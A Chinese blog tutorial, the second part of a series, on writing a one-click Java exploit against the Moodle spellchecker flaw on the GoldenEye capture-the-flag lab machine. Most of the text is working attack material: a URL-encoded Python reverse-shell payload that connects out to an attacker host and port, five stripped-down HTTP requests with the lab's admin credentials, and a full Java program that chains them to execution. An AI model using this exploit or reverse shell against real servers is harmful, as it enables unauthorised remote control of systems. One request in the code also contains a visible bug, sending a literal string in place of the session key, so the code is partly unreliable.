Java Exploit编写——GoldenEye篇(下)

上文,此篇来攥写最激动人心的环节——在GoldenEye靶机中,利用Moodle漏洞,一键getshell。

根据靶机要求,本文中的DNS为手动添加,域名指向靶机

最终效果如图


0x00 getshell原因

根据老外的WriteUP,getshell需要满足三个条件:

  • 需要拥有管理员账号密码;
  • 登陆后台,在拼写检查引擎中设置要执行的命令;
  • 触发拼写检查功能,执行命令

因为后台中可以设置拼写检查引擎的路径(可执行文件的路径),而在编辑器中可以调用拼写检查功能,从而间接的造成了任意代码的远程执行。

0x01 根据流程分析HTTP报文

编写exp,是为了将手动的攻击过程自动化,减少事件成本,完成攻击的自动化,必然少不了协议的分析。

笔者在这里使用了Burp Suite和Wireshark完成了对整个命令执行过程的分析,并且剔除了多余的参数和HTTP请求头,以达到请求报文的最小化,在服务端留下最少的记录。

首先,从零开始,清除在靶机上的Cookie

清除Cookie

登录并获取Cookie

获取Cookie

注意,在登录的响应中,出现了三个Set-Cookie字段,经过测试,第二个Cookie有效

获取Sesskey

(笔者因为没有注意到sesskey,在代码调试过程中卡顿了一会。)

在Moodle2.2.3中,进行每一步实质性的操作时,都需要提供一个sesskey,sesskey是一个十位数的字符串,由大小写字母和数字组成,可以由正则表达式来精准地从json中匹配出来 “sesskey”:”keykeykeyk”

设置payload,反弹shell

将要执行的命令填入aspell的路径,笔者在这里填入python反弹shell的payload,请注意上文中提到的sesskey。

切换拼写检查引擎

这里同样需要提供sesskey

触发拼写检查功能,反弹shell

0x02 抽丝剥茧,简化HTTP请求包

完成远程代码执行一共需要发送五个请求,分别用来获取Cookie、获取Sesskey、设置payload、切换拼写检查引擎、触发payload

经过URL编码的Payload如下:
其中{host}{port}填入接收shell的主机名,端口

python+-c+%27import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22{host}%22%2C{port}%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B+os.dup2%28s.fileno%28%29%2C1%29%3B+os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27

简化的HTTP请求1,用于获取cookie

POST /gnocertdir/login/index.php HTTP/1.1
Host: severnaya-station.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Connection: close

username=admin&password=xWinter1995x%21

简化的HTTP请求2,用于获取sesskey

GET /gnocertdir/admin/settings.php?section=systempaths HTTP/1.1
Host: severnaya-station.com
Cookie: cookie
Connection: close

简化的HTTP请求3,用于设置payload

POST /gnocertdir/admin/settings.php HTTP/1.1
Host: severnaya-station.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 此处请自行计算
Connection: close
Cookie: cookie 

section=systempaths&sesskey=sesskey&return=&s__gdversion=2&s__pathtodu=%2Fusr%2Fbin%2Fdu&s__aspellpath=payload&s__pathtodot=

简化的HTTP请求4,用于切换拼写检查引擎

POST /gnocertdir/admin/settings.php HTTP/1.1
Host: severnaya-station.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 此处请自行计算
Connection: close
Cookie: cookie

section=editorsettingstinymce&sesskey=sesskey&return=&s_editor_tinymce_spellengine=PSpellShell&s_editor_tinymce_spelllanguagelist=xxxyyy

简化的HTTP请求5,用于触发payload

POST /gnocertdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php HTTP/1.1
Host: severnaya-station.com
Content-Length: 56
Connection: close
Cookie: cookie 

{"id":"c0","method":"checkWords","params":["en",[""]]});

0x03 代码编写

笔者为了减少代码量,自己编写过一个HTTP工具类

import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class Main {
    public static void main(String[] args) {

        //定义payload
        String host = "192.168.180.129";
        String port = "4444";
        String payload = "python+-c+%27import+socket%2Csubprocess%2Cos%3B" +
                "s%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3B" +
                "s.connect%28%28%22{host}%22%2C{port}%29%29%3B" +
                "os.dup2%28s.fileno%28%29%2C0%29%3B" +
                "+os.dup2%28s.fileno%28%29%2C1%29%3B" +
                "+os.dup2%28s.fileno%28%29%2C2%29%3B" +
                "p%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27";
        payload = payload.replace("{host}",host).replace("{port}",port);


        //登录获取cookie
        HTTPUtil hu = new HTTPUtil();
        hu.setRequest("POST /gnocertdir/login/index.php HTTP/1.1\n" +
                "Host: severnaya-station.com\n" +
                "Content-Type: application/x-www-form-urlencoded\n" +
                "Content-Length: 39\n" +
                "Connection: close\n" +
                "\n" +
                "username=admin&password=xWinter1995x%21");
        String res = hu.getResponse();
        String cookie = getCookie(res);
        System.out.println("[+] Got the cookie! " + cookie);


        //获取sesskey
        hu.setRequest("GET /gnocertdir/admin/settings.php?section=systempaths HTTP/1.1\n" +
                "Host: severnaya-station.com\n" +
                "Connection: close\n" +
                "Cookie: " + cookie);
        res = hu.getResponse();
        String sesskey = getSesskey(res);
        System.out.println(sesskey);
        System.out.println("[+] Got the sesskey! " + sesskey);


        //设置payload
        String data = "section=systempaths&sesskey=" + sesskey + "&return=&s__gdversion=2&s__pathtodu=%2Fusr%2Fbin%2Fdu&s__aspellpath=" + payload + "&s__pathtodot=";
        hu.setRequest("POST /gnocertdir/admin/settings.php HTTP/1.1\n" +
                "Host: severnaya-station.com\n" +
                "Content-Type: application/x-www-form-urlencoded\n" +
                "Content-Length: " + data.length() + "\n" +
                "Connection: close\n" +
                "Cookie: " + cookie + "\n" +
                "\n" +
                data);
        hu.getResponse();
        System.out.println("[+] Set the payload...");


        //切换拼写检查器
        data = "section=editorsettingstinymce&sesskey=" + "sesskey=" + "&return=&s_editor_tinymce_spellengine=PSpellShell&s_editor_tinymce_spelllanguagelist=xxxyyy";
        hu.setRequest("POST /gnocertdir/admin/settings.php HTTP/1.1\n" +
                "Host: severnaya-station.com\n" +
                "Content-Type: application/x-www-form-urlencoded\n" +
                "Content-Length: " + data.length() + "\n" +
                "Connection: close\n" +
                "Cookie: " + cookie + "\n" +
                "\n" +
                data);
        hu.getResponse();
        System.out.println("[+] Changed the SpellEngine");



        //触发payload
        hu.setRequest("POST /gnocertdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php HTTP/1.1\n" +
                "Host: severnaya-station.com\n" +
                "Content-Length: 56\n" +
                "Connection: close\n" +
                "Cookie: " + cookie + "\n" +
                "\n" +
                "{\"id\":\"c0\",\"method\":\"checkWords\",\"params\":[\"en\",[\"\"]]}");
        hu.getResponse();
        System.out.println("[+] Execute the payload...");

    }

    //正则匹配,获取第二个有效cookie
    public static String getCookie(String response) {
        Pattern pattern = Pattern.compile("Set-Cookie:\\s\\S+=\\S+;");
        Matcher matcher = pattern.matcher(response);
        List<String> cookies = new ArrayList<>();
        while (matcher.find()) {
            cookies.add(matcher.group());
        }
        for (String cookie : cookies) {
            System.out.println(cookie);
        }

        String cookie = cookies.get(1)
                .replace("Set-Cookie:","").trim();
        return cookie;
    }

    //正则匹配,获取sesskey
    public static String getSesskey(String response) {
        Pattern pattern = Pattern.compile("sesskey\":\"([A-Za-z0-9]{10})");
        Matcher matcher = pattern.matcher(response);
        String key = null;

        if (matcher.find()) {
            key = matcher.group();
            key = key.substring(key.lastIndexOf("\"") + 1);
            return key;
        }
        return null;
    }
}

0x04 编译代码 运行

javac Main.java
java Main
程序运行结果

0x05 结语

整个Exp开发周期中花费时间最长的其实是协议分析,如果协议分析不够仔细,后续的debug环节必定要花费更多的时间,甚至动用wireshark来分析程序的HTTP数据包。

新的一年,祝大家0day多多,Error少少,新年快乐。